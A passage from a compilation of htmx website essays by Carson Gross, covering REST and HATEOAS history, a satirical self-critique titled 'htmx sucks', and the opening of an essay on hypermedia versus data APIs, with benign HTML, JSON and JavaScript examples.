Fielding has further described the concept, and the crucial requirement of hypermedia, [on his blog](https://roy.gbiv.com/untangled/2008/rest-apis-must-be-hypertext-driven).

## HATEOAS and JSON

*NOTE: The Neutral Tone Of This Section is Disputed*

In the early 2000s the concept of REST was appropriated from its initial conceptual environment as a description of the early web into other areas of web development: first XML API development (often using [SOAP](https://en.wikipedia.org/wiki/SOAP)) and then JSON API development.  This, despite the fact that neither XML nor JSON was a natural hypermedia in the same manner as HTML.

In order to characterize different levels of adherence to REST in these new areas, [The Richardson Maturity Model](https://en.wikipedia.org/wiki/Richardson_Maturity_Model) was proposed, consisting of various levels of "maturity" of APIs, with the highest level,
Level 3, consisting of "Hypermedia Controls".

JSON is not a natural hypermedia and, therefore, hypermedia concepts can only be imposed on top of it.  A JSON engineer
attempting to meet Level 3 of the Richardson Maturity Model might return the following JSON corresponding to the
bank account example above:

```json
HTTP/1.1 200 OK

{
    "account": {
        "account_number": 12345,
        "balance": {
            "currency": "usd",
            "value": 100.00
        },
        "links": {
            "deposits": "/accounts/12345/deposits",
            "withdrawals": "/accounts/12345/withdrawals",
            "transfers": "/accounts/12345/transfers",
            "close-requests": "/accounts/12345/close-requests"
        }
    }
}
```

Here, the "hypermedia controls" are encoded in a `links` property on the account object.

Unfortunately, the client of this API still needs to know quite a bit of additional information:

* What http methods can be used against these URLs?
* Can it issue a `GET` to these URLs in order to get a representation of the mutation in question?
* If it can `POST` to a given URL, what values are expected?

Compare the above JSON with the following HTTP response, retrieved by a browser after a user has clicked on the
link to `/accounts/12345/deposits` found in the first HTML example:

```html
HTTP/1.1 200 OK

<html>
  <body>
    <form method="post" action="/accounts/12345/deposits">
        <input name="amount" type="number" />
        <button>Submit</button>
    </form>
  <body>
</html>
```

Note that this HTML response encodes all the information necessary to update the account balance, providing a `form` with a `method`
and `action` attribute, as well as the inputs necessary for updating the resource correctly.

The JSON representation does not have the same self-contained "uniform interface" as the HTML representation does.

Labelling JSON APIs, no matter how far they stray from RESTful concepts, as 'REST' has lead Roy Fielding to say:

> I am getting frustrated by the number of people calling any HTTP-based interface a REST API. Today’s example is the SocialSite REST API. That is RPC. It screams RPC. There is so much coupling on display that it should be given an X rating.

While attempts have been made to impose more elaborate hypermedia controls on JSON APIs, broadly the industry has rejected
this approach in favor of simpler RPC-style APIs that forego HATEOAS and other elements of the REST-ful architecture.

This fact is strong evidence for the assertion that a natural hypermedia such as HTML is a practical
necessity for building RESTful systems.

<style>
  .content {
    font-family: 'Source Serif Pro', serif;
    text-align: justify;
    hyphens: auto;
    margin-bottom: 3em;
  }

  .content h1 {
    font-family: 'Lexend Zetta', Haettenschweiler, Impact, sans-serif;
    margin: 16px;
    font-size: min(10vw, 6em);
    line-height: 1em;
    margin-bottom: 5rem;
    text-align: center;
  }

  .content section:after {
    content: '< / >';
    content: '< / >' / '';
    display: block;
    margin-bottom: 32px;
    text-align: center;
    color: #aaa;
    font-weight: bold;
    letter-spacing: .5em;
  }

  .content h2 {
    font-size: 1em;
    margin: 16px;
    margin-top: 32px;
    text-transform: uppercase;
    letter-spacing: .1em;
    text-align: center;
  }
    .content h2 em {
      text-transform: none;
      letter-spacing: 0;
    }

  .content a {
    font-variant: all-small-caps;
    letter-spacing: .08em;
    font-weight: 600;
  }

  .content blockquote {
    border: none;
    font-style: italic;
    font-size: 1.1em;
  }
</style>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/how-did-rest-come-to-mean-the-opposite-of-rest.md

+++
title = "How Did REST Come To Mean The Opposite of REST?"
description = """\
  In this article, Carson Gross explores how the term REST (Representational State Transfer) evolved to mean nearly \
  the opposite of its original definition in modern web development. It traces how REST, originally defined by Roy \
  Fielding to describe the web's architecture of hypermedia-driven interactions, came to be widely misused as a term \
  for JSON-based APIs that lack the key hypermedia constraints that define true REST architectural style."""
date = 2022-07-18
updated = 2022-11-26
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

<style>
  pre {
        margin: 32px !important;
  }
</style>

##  Tapping The Sign

<img src="/img/tap-the-sign.png" alt="You are wrong" style="width: 80%;margin-left:10%; margin-top: 16px;margin-bottom: 16px">

> I am getting frustrated by the number of people calling any HTTP-based interface a REST API. Today’s example is the
> SocialSite REST API. That is RPC. It screams RPC. There is so much coupling on display that it should be given an
> X rating.
>
> What needs to be done to make the REST architectural style clear on the notion that hypertext is a constraint? In
> other words, if the engine of application state (and hence the API) is not being driven by hypertext, then it cannot
> be RESTful and cannot be a REST API. Period. Is there some broken manual somewhere that needs to be fixed?
>
> _--Roy Fielding, Creator of the term REST_
>
> _&nbsp;&nbsp;&nbsp;[REST APIs must be hypertext-driven](https://roy.gbiv.com/untangled/2008/rest-apis-must-be-hypertext-driven)_


[REST](https://en.wikipedia.org/wiki/Representational_state_transfer) must be the most broadly misused technical term
in computer programming history.

I can't think of anything else that comes close.

Today, when someone uses the term REST, they are nearly always discussing a JSON-based API using HTTP.

When you see a job post mentioning REST or a company discussing [REST Guidelines](https://github.com/microsoft/api-guidelines/blob/vNext/Guidelines.md)
they will rarely mention either hypertext or hypermedia: they will instead mention JSON, GraphQL(!) and the like.

Only a few obstinate folks grumble: but these JSON APIs aren't RESTful!

<iframe src="https://www.youtube.com/embed/HOK6mE7sdvs" title="Doesn't anyone notice this?"
        frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope"
        style="width: 400px;height:300px;margin-left:15%;margin-top: 16px;margin-bottom: 16px">
</iframe>

In this post, I'd like to give you a [brief, incomplete and mostly wrong](https://james-iry.blogspot.com/2009/05/brief-incomplete-and-mostly-wrong.html)
history of REST, and how we got to a place where its meaning has been nearly perfectly inverted to mean what REST was
originally contrasted with: RPC.

##  Where Did REST Come From?

The term REST, short for REpresentational State Transfer, came from
[Chapter 5 of Fielding's PhD Dissertation](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm).
Fielding was describing the network architecture of the (then new) world wide web, and contrasting it with other possible
network architectures, particularly RPC-style network architectures.

It is important to understand that, at the time of his writing (1999-2000), there were no JSON APIs: he was describing
the web as it existed at that time, with HTML being exchanged over HTTP as people "surfed the web".  JSON hadn't been
created yet, and broad adoption of JSON was a decade off.

REST described a _network architecture_, and it was defined in terms of _constraints_ on an API, constraints that
needed to be met in order to be considered a RESTful API.  The language is academic, which has contributed to the
confusion around the topic, but it is clear enough that most developers should be able to understand it.

### The Crux of REST: The Uniform Interface & HATEOAS

REST has many constraints and concepts within it, but there is one crucial idea that I believe is the defining and
most distinguishing characteristic of REST, when contrasted with other possible network architectures.

This is known as the [uniform interface constraint](https://en.wikipedia.org/wiki/Representational_state_transfer#Uniform_interface),
and more specifically within that concept, the idea of [Hypermedia As The Engine of Application State (HATEOAS)](https://htmx.org/essays/hateoas/)
or as Fielding prefers to call it, the hypermedia constraint.

In order to understand this uniform interface constraint, lets consider two HTTP responses returning information about a
bank account, the first in HTML (a hypertext) and the second in JSON:

#### An HTML Response

```html
HTTP/1.1 200 OK

<html>
    <body>
        <div>Account number: 12345</div>
        <div>Balance: $100.00 USD</div>
        <div>Links:
            <a href="/accounts/12345/deposits">deposits</a>
            <a href="/accounts/12345/withdrawals">withdrawals</a>
            <a href="/accounts/12345/transfers">transfers</a>
            <a href="/accounts/12345/close-requests">close-requests</a>
        </div>
    <body>
</html>
```

#### A JSON Response

```json
HTTP/1.1 200 OK

{
    "account_number": 12345,
    "balance": {
        "currency": "usd",
        "value": 100.00
     },
     "status": "good"
}
```

The crucial difference between these two responses, and why the _HTML response_ is RESTful, but the
_JSON response_ is not, is this:

<p style="margin:32px;text-align: center;font-weight: bold">The HTML response is entirely self-describing.</p>

A proper hypermedia client that receives this response does not know what a bank account is, what a
balance is, etc.  It simply knows how to render a hypermedia, HTML.

The client knows nothing about the API end points associated with this data, except via URLs and hypermedia controls
(links and forms) discoverable within the HTML itself.  If the state of the resource changes such that the allowable
actions available on that resource change (for example, if the account goes into overdraft) then the HTML response would
change to show the new set of actions available.

The client would render this new HTML, totally unaware of what "overdraft" means or, indeed, even what a bank account is.

It is in this manner that hypertext is the engine of application state: the HTML response "carries along" all the API
information necessary to continue interacting with the system directly within itself.

Now, contrast that with the second JSON response.

In this case the message is _not_ self describing.  Rather, the client must know how to interpret the `status` field to
display an appropriate user interface.  Further, the client must know what actions are available on the account based on
"out-of-band" information, that is, information on the URLs, parameters and so forth, derived from another source of
information _outside of the response_, such as swagger API documentation.

The JSON response is not self-describing and does not encode the state of the resource within a hypermedia.  It therefore
fails the uniform interface constraint of REST, and, thus, is not RESTful.

### Inventor: RESTful APIs Must Be Hypermedia Driven

In [Rest APIs Must Be Hypermedia Driven](https://roy.gbiv.com/untangled/2008/rest-apis-must-be-hypertext-driven), Fielding
goes on to say:

> A REST API should be entered with no prior knowledge beyond the initial URI (bookmark) and set of standardized media
> types that are appropriate for the intended audience (i.e., expected to be understood by any client that might use the
> API). From that point on, all application state transitions must be driven by client selection of server-provided
> choices that are present in the received representations or implied by the user’s manipulation of those representations.

So, in a RESTful system, you should be able to enter the system through a single URL and, from that point on, all navigation
and actions taken within the system should be entirely provided through self-describing hypermedia: through links and
forms in HTML, for example.  Beyond the entry point, in a proper RESTful system, the API client shouldn't need any
additional information about your API.

This is the source of the incredible flexibility of RESTful systems:  since all responses are self describing and
encode all the currently available actions available there is no need to worry about, for example, versioning your API!
In fact, you don't even need to document it!

If things change, the hypermedia responses change, and that's it.

It's an incredibly flexible and innovative concept for building distributed systems.

### Industry: Lol, No, RESTful APIs Are JSON

Today, most web developers and most companies would call the _second example_ a RESTful API.

They probably wouldn't even regard the first response _as an API response_.  It's just HTML!

(Poor HTML, can't get no respect.)

APIs are always JSON or maybe, if you are fancy, something like Protobuf, right?

<img src="/img/you-are-wrong.png" alt="You are wrong" style="width: 80%;margin-left:10%; margin-top: 16px;margin-bottom: 16px">

Wrong.

You are all wrong and you should feel bad.

The first response _is_ an API response, and, in fact, the one that is RESTful!

The second response is, in fact, a _Remote Procedure Call_ (RPC) style of API.  The client and the server are coupled,
just like the SocialSite API Fielding complained about back in 2008: a client needs to have additional knowledge about
the resource it is working with that must be derived from some other source beyond the JSON response itself.

This API is, in spirit, nearly the opposite of REST.

Let's call this style of API "RESTless".

## How "REST" came to mean "RESTless"

Now, how on earth did we get to a spot where APIs that are _obviously_ not RESTful are called RESTful by 99.9% of the
industry?

It's a funny story:

Roy Fielding published his dissertation in 2000.

Around the same time, [XML-RPC](https://en.wikipedia.org/wiki/XML-RPC), an explicitly RPC-inspired protocol was released
and started to gather steam as a method to build APIs using HTTP.  XML-RPC was part of a larger project called
[SOAP](https://en.wikipedia.org/wiki/SOAP), from Microsoft.  XML-RPC came out of a long tradition of RPC-style
protocols, mainly from the enterprise world, with a lot of static typing and early XML-maximalism thrown in as well.

Also arriving at this moment was [AJAX](https://en.wikipedia.org/wiki/Ajax_(programming)), or Asynchronous
JavaScript and XML.  Note well the XML here.  AJAX, as everyone now knows, allows browsers to issue HTTP requests
to the server in the background and process the response directly in JavaScript, opening up a whole new world of
programming for the web.

The question was: what should those requests look like?  They were obviously going to be XML.  Look, it's right there
in the name.  And this new SOAP/XML-RPC standard was out, maybe that was the right thing?

### Maybe REST can work for Web Services?

Some people noticed that the web had this different sort of architecture that Fielding had described, and began to ask
if REST, rather than SOAP, should be the preferred mechanism for accessing what were coming to be called "Web Services".
The web was proving to be extremely flexible and growing gang busters, so maybe the same network architecture, REST, that
was working so well for browsers & humans would work well for APIs.

It sounded plausible, especially when XML was the format for APIs: XML sure _looks_ an awful lot like HTML, doesn't it?
You can imagine an XML API satisfying all of the RESTful constraints, up to and including the uniform interface.

So people began exploring this route as well.

While all this was happening, another important technology was in the process of being born: [JSON](https://www.json.org/json-en.html)

JSON was (literally) JavaScript to SOAP/RPC-XML's Java: simple, dynamic and easy.  It's hard to believe now,
when JSON is the dominant format for most web APIs, but it actually took a while for JSON to catch on.  As late as 2008,
discussions around API development were mainly around XML, not JSON.

### Formalizing REST APIs

In 2008, Martin Fowler published an article popularizing the [Richardson Maturity Model](https://martinfowler.com/articles/richardsonMaturityModel.html),
a model to determine how RESTful a given API was.

The model proposed four "levels", with the first level being Plain Old XML, or The Swamp of POX.

<img src="/img/rmm.png" alt="Richardson Maturity Model" style="width: 80%;margin-left:10%; margin-top: 16px;margin-bottom: 16px">

From there, an API could be considered more "mature" as a REST API as it adopted the following ideas:

* Level 1: Resources (e.g. a resource-aware URL layout, contrasted with an opaque URL layout as in XML-RPC)
* Level 2: HTTP Verbs (using `GET`, `POST`, `DELETE`, etc. properly)
* Level 3: Hypermedia Controls (e.g. links)

Level 3 is where the uniform interface comes in, which is why this level is considered the most mature and truly "The
Glory of REST"

### "REST" Wins, Kinda...

Unfortunately for the term REST, two things happened at this time:

* Everyone switched to JSON
* Everyone stopped at Level 2 of the RMM

JSON rapidly took over the web service/API world because SOAP/XML-RPC was so dramatically over-engineered.  JSON was simple,
"just worked" and was easy to read and understand.

With this change, the web development world threw off the shackles of the
[J2EE mindset](https://en.wikipedia.org/wiki/Jakarta_EE) conclusively, relegating SOAP/XML-RPC to an enterprise-only affair.

Since the REST approach wasn't as tied to XML as SOAP/XML-RPC was, and since it didn't impose as much formality on
end points, REST was the natural place for JSON to take over.  And it did so, rapidly.

During this crucial change, something became increasingly clear: most JSON APIs were stopping at Level 2 of the RMM.

Some pushed through to Level 3 by incorporating hypermedia controls in their responses, but nearly all these APIs still
needed to publish documentation, indicating that the "Glory of REST" was not being achieved.

JSON taking over as the response format should have been a strong hint as well: JSON is obviously not a hypertext.  You
can impose hypermedia controls on top of it, but it isn't natural.  XML at least _looked_ like HTML, kinda, so it was
plausible that you could create a hypermedia with it.

JSON was just... data.  Adding hypermedia controls was awkward, non-standardized and rarely used in the manner described
by the uniform interface constraint.

Despite these difficulties, the term REST stuck: REST was the opposite of SOAP, JSON APIs weren't SOAP, therefore
JSON APIs were REST.

That's the one sentence version of how we got here.

### The REST Wars

Despite the JSON API world never consistently achieving truly RESTful APIs, there were plenty of fights over whether
or not the RESTless APIs being created were "RESTful": arguments over URL layouts, over which HTTP verb was
appropriate for a given action, flame wars about media types, and so forth.

I was young at the time, and the whole thing struck me as opaque, puritanical and alienating, so I pretty much gave up
on the whole idea of REST: it was something condescending people fought about on the internet.

What I rarely saw mentioned (or, when I did, what I didn't understand) was the concept of the uniform interface and how
crucial it is to a RESTful system.

It wasn't until I created [intercooler.js](https://intercoolerjs.org) and a few smart folks started telling me that it was
RESTful that I got interested in the idea again.

RESTful?  That's a JSON API thing, how could my hack of a front-end library be RESTful?

So I looked into it, reread Fielding's dissertation with fresh eyes, and discovered, lo and behold, not only was
intercooler RESTful, but all the "RESTful" JSON APIs I was dealing with weren't RESTful at all!

And, with that, I began boring the internet to tears:

* [Rescuing REST From the API Winter](https://intercoolerjs.org/2016/01/18/rescuing-rest.html)
* [The API Churn/Security Trade-off](https://intercoolerjs.org/2016/02/17/api-churn-vs-security.html)
* [HATEOAS is for Humans](https://intercoolerjs.org/2016/05/08/hatoeas-is-for-humans.html)
* [Taking HTML Seriously](https://intercoolerjs.org/2020/01/14/taking-html-seriously)
* [Hypermedia APIs vs. Data APIs](@/essays/hypermedia-apis-vs-data-apis.md)
* [HATEOAS](@/essays/hateoas.md)
* [Hypermedia Driven Applications](@/essays/hypermedia-driven-applications.md)
* This, gentle reader, [your current article](@/essays/how-did-rest-come-to-mean-the-opposite-of-rest.md).

### The State of REST Today

Eventually most people got tired of trying to add hypermedia controls to JSON APIs and gave up on it.  While these controls
worked well in certain specialized situations (e.g. paging), they never achieved the broad, obvious utility
that REST found in the general, human-oriented internet.  [(I have a theory why that is.)](https://intercoolerjs.org/2016/05/08/hatoeas-is-for-humans.html)

Things settled into this intermediate RESTless state, with REST slowly cementing its meaning as a JSON API at Level 1
or 2 of the RMM.  But there was always the possibility that we would break through to Level 3 and the glory of REST.

Then Single Page Applications (SPAs) hit.

When SPAs hit, web development became disconnected entirely from the original underlying RESTful architecture.  The *entire
networking architecture* of SPA applications moved over to the JSON RPC style.  Additionally, due to the complexity of these
applications, developers specialized into front end and back end.

The front end developers were obviously _not_ doing anything RESTful: they were working with JavaScript, building DOM
object, and calling AJAX APIs when needed.  This was much more like thick-client authoring than anything like the
early web.

The back end engineers were still concerned with the network architecture to an extent, and they continued to use the
term "REST" to describe what they were doing.

Even though they were doing things like publishing swagger documentation for their RESTful APIs or [complaining about API
churn of their RESTful APIs](https://www.infoq.com/articles/no-more-mvc-frameworks/), things that wouldn't be occurring
if they were actually creating RESTful APIs.

Finally, in the late 2010s, people had had enough:  REST, even in its RESTless form, simply wasn't keep up with the needs
of increasingly complex SPA applications.  The applications were becoming more and more like thick clients, and thick
client problems need thick client solutions, not bastardized hypermedia client solutions.

The dam really broke when [GraphQL](https://en.wikipedia.org/wiki/GraphQL) was released.

GraphQL couldn't be less RESTful: you absolutely *have to have* documentation to understand how to work with an API
that uses GraphQL.  The client and the server are extremely tightly coupled.  There are no native hypermedia controls
in it.  It offers schemas and, in many ways, feels a lot like an updated and stripped-down version of XML-RPC.

And here I want to say: that's OK!

People really, really like GraphQL in many cases and, if you are building a thick client style application, that makes a
lot of sense:

> The short answer to this question is that HATEOAS isn’t a good fit for most modern use cases for APIs. That is why after
> almost 20 years, HATEOAS still hasn’t gained wide adoption among developers. GraphQL on the other hand is spreading
> like wildfire because it solves real-world problems.
>
> _[GraphQL and REST Level 3 (HATEOAS)](https://techblog.commercetools.com/graphql-and-rest-level-3-hateoas-70904ff1f9cf)_

So GraphQL isn't REST, it doesn't claim to be REST, it doesn't want to be REST.

But, as of today, the vast majority of developers and companies, even as they excitedly add GraphQL functionality to
their APIs, continue to use the term REST to describe what they are building.

## OK, What Can We Do About This Situation?

Unfortunately, [voidfunc](https://news.ycombinator.com/item?id=32073545) is probably right:

> You can tap the sign as much as you want, that battle was lost a long time ago. REST is just the common term people
> use for HTTP+JSON RPC.

We are going to keep calling _obviously_ non-RESTful JSON APIs REST because that's just what everyone calls them now.

Despite my increasingly vigorous sign tapping, 50 years from now Global Omni Corp. will still be advertising
jobs for working on v138 of their RESTful JSON API's swagger documentation.

<img src="/img/punished-fielding.png" alt="Roy Fielding Does Not Approve" style="width: 80%;margin-left:10%; margin-top: 16px;margin-bottom: 16px">

[The situation is hopeless, but not serious.](https://wwnorton.com/books/9780393310214)

Regardless, there is an opportunity here to explain REST and, in particular, the uniform interface to a new generation of web
developers who may have never heard of those concepts in their original context, and who assume REST === JSON APIs.

[People sense something is wrong](@/essays/a-response-to-rich-harris.md), and maybe REST, real, actual REST,
not RESTless, could be a part of [the answer to that](@/essays/spa-alternative.md).

At the very least, the ideas behind REST are interesting and worth knowing just as general software engineering knowledge.

There is a larger meta-point here too: even a relatively smart group of people (early web developers), with the benefit
of the internet, and with a pretty clear (if at times academic) specification for the term REST, were unable to keep the
meaning consistent with its original meaning over period of two decades.

If we can get this so obviously wrong, what else could we be wrong about?

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/htmx-sucks.md

+++
title = "htmx sucks"
description = """\
  This article provides a critical analysis of htmx, a web development library, explaining why the author believes it \
  represents a problematic approach to modern web development due to its outdated coding practices, lack of build \
  tools, absence of TypeScript support, and reliance on HTML-based architecture, while also questioning the \
  professionalism of its creator."""
date = 2024-02-01
updated = 2024-04-01
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

I have been following [htmx](https://htmx.org) for a while now.  I thought it was a somewhat funny/cringey meme
and that it served as some light comic relief from the real work being done in web development, things like 
[React Server Components](https://react.dev/reference/react/use-server), [Svelte Runes](https://svelte.dev/blog/runes)
and [Signals](https://www.solidjs.com/tutorial/introduction_signals) that are actually pushing the state of the art forward.

Unfortunately at some point [in the middle of 2023](https://star-history.com/#bigskysoftware/htmx&Date)
people began to actually take htmx seriously for [some](https://www.youtube.com/watch?v=zjHHIqI9lUY) [reason](https://www.youtube.com/watch?v=r-GSGH2RxJs). 
This is an extremely alarming turn of events that has me deeply concerned for the future of web development.  

And I'm not alone in my alarm: you can read an excellent [dressing down of htmx here](https://archive.is/rQrl7):

> Basically they put their ignorance on full display, then attribute all sorts of unfounded merits to whatever they’ve 
> done hoping that everyone else pats them on the back for it.

So true. So, so true.

Unfortunately, the language in that excellent medium post is academic and, without a solid grasp of theoretical HTML, 
many of the more important points in it will go over a typical web developers head.

So, in this article, I will attempt to present, in plain language for the layman web developer, why [htmx sucks](@/essays/htmx-sucks.md).

## The Code Is Crap

First of all, consider the code for htmx.  

[Look at this garbage.](https://github.com/bigskysoftware/htmx/blob/master/src/htmx.js)

They use `var` all over the place, almost no modern JavaScript features (hello, htmx people, have you heard of 
[Modules](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules)?), they pollute the `window` name space, and on and on and on.

Worst of all, it's just one big ball of JavaScript!  One file!  It isn't decomposed at all.  If this person
took one of my [classes at MSU](https://www.cs.montana.edu/directory/2256398/carson-gross) I would fail them based 
solely on this complete misunderstanding of [Separation of Concerns](https://en.wikipedia.org/wiki/Separation_of_concerns),
something any freshman in computer science should be able to grasp.

Good software starts with clean code, and this code is filthy.

## No Build Tools

The next red flag is the lack of a build step.  Not only does htmx not have a traditional build step, thereby depriving
themselves of the [benefits](https://vitejs.dev/guide/why.html) that the rest of the JavaScript community
enjoys, but they [actively brag](@/essays/no-build-step.md) about it!

And it gets worse.

If you look closely, even though they claim to not have a build step, they [_actually do_](https://github.com/bigskysoftware/htmx/blob/bedee219329117fff8d58e33678d82f7c34b08b5/package.json#L30)
have a build step, it's just an ad hoc set of bash scripts they wrote themselves.

Ridiculous _and_ dishonest.  Shameful.

## No Typescript

Despite the [obvious benefits](https://blog.logrocket.com/understanding-typescripts-benefits-pitfalls/) of 
[TypeScript](https://www.typescriptlang.org/) for a project like htmx, the authors have stubbornly resisted using it.
Part of this is their irrational opposition to a build step (which they actually have, btw!) but part of it is a ridiculous
commitment to "shipping debuggable source code".  Of course, as any JavaScript developer who isn't a complete idiot knows,
TypeScript supports [Source Maps](https://www.typescriptlang.org/tsconfig#sourceMap) that make it perfectly debuggable.  Despite this fact, the authors continue to 
insist on using an antiquated version of JavaScript for development.

In a tacit admission that they screwed up, they are now belatedly adding [JSDoc](https://jsdoc.app/) annotations 
to their codebase (I use the word loosely here).  All this to make up for the fact that they didn't do the obvious,
correct thing initially and simply write the whole project in modern, modular TypeScript.

The only good news here is that at least they have a halfway-decent [test suite](https://github.com/bigskysoftware/htmx/blob/master/test/index.html), and given the state of the codebase, they 
better damned well!

## Antiquated Technology

OK, that covers the major (but by no means all!) issues with the htmx codebase itself.  Let's move on to more general
issues with htmx.

The first glaring issue is something the authors, again, brag about: it uses [hypermedia](https://hypermedia.systems). Really
this is just a pretentious way of saying "it uses HTML", I don't know why they insist on using a different and confusing
term for it, but whatever.

OK, well, if you haven't noticed, HTML is over thirty years old now.  It's ancient.  And, moreover, we have lots of
experience with the approach these guys are recommending.  It's not like htmx is doing anything new: [intercooler.js](https://intercoolerjs.org), 
[PJax](https://github.com/defunkt/jquery-pjax) and [Unpoly](https://unpoly.com/) (way better than htmx, btw) have been around literally _forever_.

Even before that, we had [`jquery.load()`](https://api.jquery.com/load/#load-url-data-complete).

Look at this jQuery code from 2008:

```js
$( "#result" ).load( "ajax/test.html" );
```

And now look at the super innovative stuff the htmx folks give us:

```html
<button hx-get="/ajax/test.html"
        hx-target="#result">
    Load
</button>
```

Wow.  Amazing.

It would be funny if it weren't so infuriating.

## No Components

The next reason to consider not using htmx is that there aren't any components available for it.  If you go with 
react you get things like [MUI](https://mui.com/), [NextUI](https://nextui.org/) & [Chakra](https://chakra-ui.com/).

With htmx, you get... nothing.  You have to figure out what components you want to use and then how to integrate them 
with htmx using events and so forth.

Do you really want to spend time figuring out how things like [lit](https://lit.dev/) work and then _also_ how to
integrate them with htmx?  That doesn't make any sense.  Far better to go with a front end library with integrated, 
off-the-shelf components you can just use without any fuss.

## No Front-End/Back-End Split

Another major reason to avoid htmx is that it eliminates the split between the Back-End & Front-End teams.  They even
have a page with a team [bragging about it as a virtue](@/essays/a-real-world-react-to-htmx-port.md) when their company (foolishly) 
moved from React to htmx.

The Front-End/Back-End split has been extremely successful for many companies, allowing the Front-End engineers
to focus on building a good user experience, and the Back-End engineers to focus on getting the data access layer
right.

Yes, there are at times some difficulties in coordinating between the two teams, with Back-End engineers complaining that
Front-End engineers change their requirements too frequently and Front-End engineers complaining that Back-End engineers
move too slowly.  But we have technologies like [GraphQL](https://graphql.org/) and [RSC](https://react.dev/reference/react/use-server) to
help with that, it's a solved problem at this point within the existing [standard web application model](https://macwright.com/2020/10/28/if-not-spas.html).

The Front-End/Back-End split has proven a very good organizational model for companies, particularly as they scale their development
team, and abandoning it for "Full Stack" (so called) development is risky and, frankly, foolish.

## Back-End Engineers Make Garbage UIs

Leaving aside if the Front-End/Back-End split is good or not, we can definitively say that Back-End engineers make
garbage user interfaces.

Just look at [the htmx website](https://htmx.org).  You've got inline styles, tables, a bunch of image tags
didn't have `alt` descriptions forever.  Just a dogs breakfast of bad HTML, from people who are trying to tell us
to use HTML!

You should leave your user interfaces in the hands of people who understand how to properly build them, and those
people are, today, mostly Front-End SPA developers.

## XSS Vulnerabilities

Getting back to a more technical reason why you shouldn't use htmx, it opens you up to a class of security issues called
[Cross-Site Scripting attacks](https://owasp.org/www-community/attacks/xss/), abbreviated "XSS".

The problem here is fundamental to the design of htmx: it enables & and even encourages you to put *behavior* in your markup.  Once
again we see a clear violation of [Separation of Concerns](https://en.wikipedia.org/wiki/Separation_of_concerns).
We've known for ages in web development that you should separate your markup, styling and behavior into HTML, CSS & 
JavaScript files respectively.

By violating this obvious and well known truth htmx makes you vulnerable to other people injecting behavior into your
web application if you don't [sanitize your HTML](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) 
properly.

Sometimes the htmx author will make a smart-alec comment like "Well, how do you feel about the 
[href](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a#href) attribute?", but that's different, obviously.

## No Jobs

Another practical reason not to use htmx is that there are, rounding off, zero htmx jobs.

I just did a search for htmx jobs on indeed and found a grand total of two: one at Microsoft and one at Oak Ridge
National Laboratory.

A search for "react", on the other hand, gives 13,758 jobs.

Seriously, developer, which of these two technologies do you want to hitch your career to?

## No One To Hire

The flip side of the above problem is that, if you are a company, there are, rounding off, zero htmx developers.

Everyone goes to bootcamps and learns React.  If you want to have a large potential employee pool (maybe your company
has high turnover for some reason, maybe you want to keep employee wages down, maybe a small team of full stack engineers
would get in the way of your kingdom building) it makes a ton more sense to go with The Big Dog in front end development.

Today, that dog is React.

## Duplicating (Or More!) Your APIs

Getting back to the more technical side of things, if you adopt htmx and you want to _also_ have a mobile app or an
API for 3rd parties to use, you will need to create that API entirely separately from your web application's end points.

Here, again, we find that, incredibly, the [htmx people brag about this fact](@/essays/splitting-your-apis.md), completely
ignoring the duplication of work involved here.

It makes far more sense to have a single API maintained by a single, Back-End team that can flexibly serve all your
needs.

This is obvious and, frankly, not worth even arguing about.

## It Won't Scale

Another technical issue with htmx is that it just won't scale.  It may work for small applications, but as applications
get larger the htmx model breaks down and becomes a mess.  The component model of React and other front-end tools keeps
everything compartmentalized and testable.  This makes it much easier to keep large codebases clean.

As an example, consider [GitHub](https://github.com/), which started out using technology a lot like htmx.  It has
recently started adopting React and is now much more stable than it was previously.  They would have been better off
if they had just started with React and built the whole thing in a modern, component-based way, but at least they
are making the right move now.  Better late than never.

## The Creator Is Unhinged

Finally, and maybe the most important reason not to use htmx: the creator is obviously unhinged.

Just look at the [twitter feed](https://twitter.com/htmx_org): unprofessional, childish, intentionally provocative.

Or consider the fact that he posts [essays he](@/essays/is-htmx-another-javascript-framework.md)) [doesn't agree with](@/essays/htmx-sucks.md) to 
his own site.

The essays tab [has a section for memes](https://htmx.org/essays/#memes), most of which are cringe-worthy and all 
of which have no business being on a website of a front end library that expects to be taken seriously.

Apparently he allows [anyone to be the CEO of htmx](https://htmx.ceo) and make one of those super-cringey
job announcements on LinkedIn.

Wanton buffoonery.

When you pick a front-end library you are, to an extent, picking the author of that library as a co-worker.  Do you
really want to work this guy?  I certainly don't.

## Conclusion

I hope this has convinced you that choosing htmx & hypermedia for your web application is an [exceptionally bad idea](https://www.reddit.com/r/ProgrammerHumor/comments/zmyug8/edsger_dijkstra_math_and_memes/) that could only
have originated in [Montana](https://bigsky.software).  Don't listen to the fanboys and fangirls with their "It's so over",
"We're so back" nonsense, CEO profiles and childish memes.

Software, and especially Front-End software is serious business and needs to be treated with the same gravity as things
like law & politics, two other extremely serious and productive activities.  We should support libraries that focus on
innovation & sophistication, not broken, backwards-looking libraries whose creator spends most of his time posting
ridiculous things on twitter.

It's just common sense: htmx sucks.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/hypermedia-apis-vs-data-apis.md

+++
title = "Hypermedia APIs vs. Data APIs"
description = """\
  In this essay, Carson Gross explores the fundamental differences between hypermedia APIs and data APIs, He explains \
  how hypermedia APIs, which return HTML over HTTP, can embrace frequent changes due to their self-describing nature, \
  while data APIs require more stability and versioning to avoid breaking client code. Carson argues that these \
  distinct characteristics should inform different design approaches for each type of API."""
date = 2021-07-17
updated = 2022-04-07
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

A *hypermedia* API is an API that returns [hypermedia](https://en.wikipedia.org/wiki/Hypermedia), typically HTML over
HTTP.  This style of API is distinguished from data APIs that do not return a hypermedia.  The most familiar form of this
latter style of API today is the ubiquitous JSON API.  

These two different types of API have distinctly different design needs and, therefore, should use different design 
constraints and adopt different goals when being created.

Hypermedia APIs:
 
